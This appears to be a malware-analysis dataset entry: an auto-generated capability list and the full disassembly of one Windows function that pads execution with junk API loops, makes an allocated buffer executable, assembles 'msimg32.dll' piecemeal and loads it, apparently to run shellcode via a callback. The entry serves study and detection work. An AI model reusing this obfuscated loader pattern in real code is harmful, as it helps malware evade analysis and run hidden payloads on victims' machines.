Function at 0x422fc0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Create mailslot
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4256a6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2ce8
call fcn.0040ded0
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e2f9
jge 0x42300e
push edi
push edi
call ebx
call ebp
cmp esi, 0x1e9b2176
jle 0x42302d
cmp dword [esp + 0x18], 0xc0963c
je 0x42302d
cmp dword [esp + 0xdc], 0x90536f8
jne 0x423036
inc esi
cmp esi, 0x98abe
jl 0x423000
cmp dword [0x22816a4], 0xcf8
jne 0x423144
push edi
push edi
push edi
call fcn.00404a3a
add esp, 0xc
push 0x40356c
push edi
call fcn.00404a3a
push edi
push edi
push edi
push edi
call fcn.00404732
push edi
push edi
call fcn.00403e29
push edi
call fcn.004045f7
add esp, 0x24
push edi
call fcn.00411072
add esp, 4
push edi
push edi
call fcn.00404467
add esp, 8
mov dword [esp + 0x78], edi
mov dword [esp + 0x7c], edi
mov dword [esp + 0x80], edi
mov dword [esp + 0x2d04], edi
xor eax, eax
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], edi
mov byte [esp + 0x20], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4230b4
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x4230ce
push 0x4037e0
call fcn.00403dbb
cmp esi, 0xf
jbe 0x4230e1
push edi
push esi
lea eax, [esp + 0x28]
push eax
call fcn.00403bd0
jmp 0x4230ee
cmp esi, edi
jne 0x4230f0
mov dword [esp + 0x30], edi
mov byte [esp + 0x20], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x42312b
mov eax, dword [esp + 0x20]
cmp dword [esp + 0x34], ebx
jae 0x42310a
lea eax, [esp + 0x20]
push esi
push edi
push eax
call fcn.0040bf30
mov eax, dword [esp + 0x2c]
add esp, 0xc
mov dword [esp + 0x30], esi
cmp dword [esp + 0x34], ebx
jae 0x423127
lea eax, [esp + 0x20]
mov byte [eax + esi], 0
cmp dword [esp + 0x34], ebx
jb 0x42313e
mov ecx, dword [esp + 0x20]
push ecx
call fcn.00404af7
add esp, 4
push edi
call fcn.004049e8
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
cmp esi, 0x408
jne 0x42316b
mov eax, 0x5d1
add dword [0x22816a4], eax
cmp dword [0x22816a4], 3
jne 0x42318a
push 0
call edi
push 0
push 0
call ebx
push 0
lea edx, [esp + 0xfc]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x423158
mov eax, dword [0x22816a4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [0x444834], eax
mov eax, dword [0x22816a4]
xor esi, esi
test eax, eax
je 0x423215
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, 0xfe
jne 0x4231ec
push 0
call ebx
call ebp
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
lea edx, [esp + 0x104]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
call fcn.00422d50
mov eax, dword [0x22816a4]
cmp eax, 0x29
jne 0x423210
call edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x22816a4]
inc esi
cmp esi, eax
jb 0x4231c3
cmp eax, 0x70
jne 0x4232bf
push 0
lea eax, [esp + 0xfc]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0x403578
push 0x40358c
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
call edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0x403598
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
push 0
lea edx, [esp + 0x900]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea eax, [esp + 0x4fc]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0x403608
push 0x4036c8
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x22816a4]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esp + 0x18], 0x9682ab
nop
cmp eax, 3
jne 0x423316
push 0
lea ecx, [esp + 0x94]
push ecx
push 0
lea edx, [esp + 0x504]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea eax, [esp + 0xf8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x22816a4]
cmp eax, 0xdf
jne 0x4235ad
push 0x403718
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
lea eax, [esp + 0x74]
push eax
push ecx
push ecx
lea edx, [esp + 0x1504]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
xor eax, eax
lea ecx, [esp + 0x60]
push ecx
lea edx, [esp + 0xd4]
push edx
push eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
lea eax, [esp + 0x94]
push eax
call edi
push 0
lea ecx, [esp + 0x9c]
push ecx
call ebp
push 0
lea edx, [esp + 0x54]
push edx
call ebx
push 0
push 0
push 0
push 0x403738
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov eax, dword [esp + 0x50]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea ecx, [esp + 0x1cfc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x8c]
push edx
push 0
lea eax, [esp + 0x28]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
lea ecx, [esp + 0x8c]
push ecx
call ebx
push 0
lea edx, [esp + 0x48]
push edx
call ebp
lea eax, [esp + 0x48]
push eax
call edi
lea ecx, [esp + 0x4c]
push ecx
push 0
lea edx, [esp + 0x500]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
lea eax, [esp + 0x54]
push eax
push 0x4037a0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
xor eax, eax
lea ecx, [esp + 0x58]
push ecx
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
lea edx, [esp + 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
lea eax, [esp + 0xfc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea ecx, [esp + 0x10fc]
push ecx
push 0x4037bc
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea edx, [esp + 0x8fc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x24fc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0xa4]
push 0
push edx
mov dword [esp + 0xa8], 0
call fcn.0040b760
add esp, 0xc
push 0
lea eax, [esp + 0xa0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x22816a4]
dec dword [esp + 0x18]
jne 0x4232e0
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
push 0
call edi
push 0
call ebx
dec esi
jne 0x4235c8
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
mov edi, edi
cmp dword [0x22816a4], 0x222
jne 0x4235f0
push 0
call esi
dec edi
jne 0x4235e0
mov edx, dword [0x22816a4]
mov eax, dword [0x444834]
lea ecx, [esp + 0x1c]
push ecx
push 0x40
push edx
push eax
mov byte [0x43faa0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00422f70
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
xor esi, esi
cmp dword [0x22816a4], 0xba
jne 0x42363a
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x423647
call fcn.00422d30
inc esi
cmp esi, 0x1605a
jl 0x423621
mov edx, 0x73
mov eax, 0x6d
mov word [0x22776e2], dx
mov word [0x22776e6], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x22776ea], cx
mov word [0x22776f6], ax
mov word [0x22776e8], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x22776e0
mov dword [0x22776f0], 0x6c0064
mov word [0x22776e4], ax
mov word [0x22776e0], cx
mov word [0x22776f4], dx
mov dword [0x22776ec], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x22816a4], 0xc30
jne 0x423754
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
lea edx, [esp + 0x20]
push edx
push 0
lea eax, [esp + 0x904]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x10fc]
push ecx
lea edx, [esp + 0x5c]
push edx
lea eax, [esp + 0x58]
push eax
lea ecx, [esp + 0x58]
push ecx
lea edx, [esp + 0x58]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov ecx, dword [esp + 0x2cfc]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret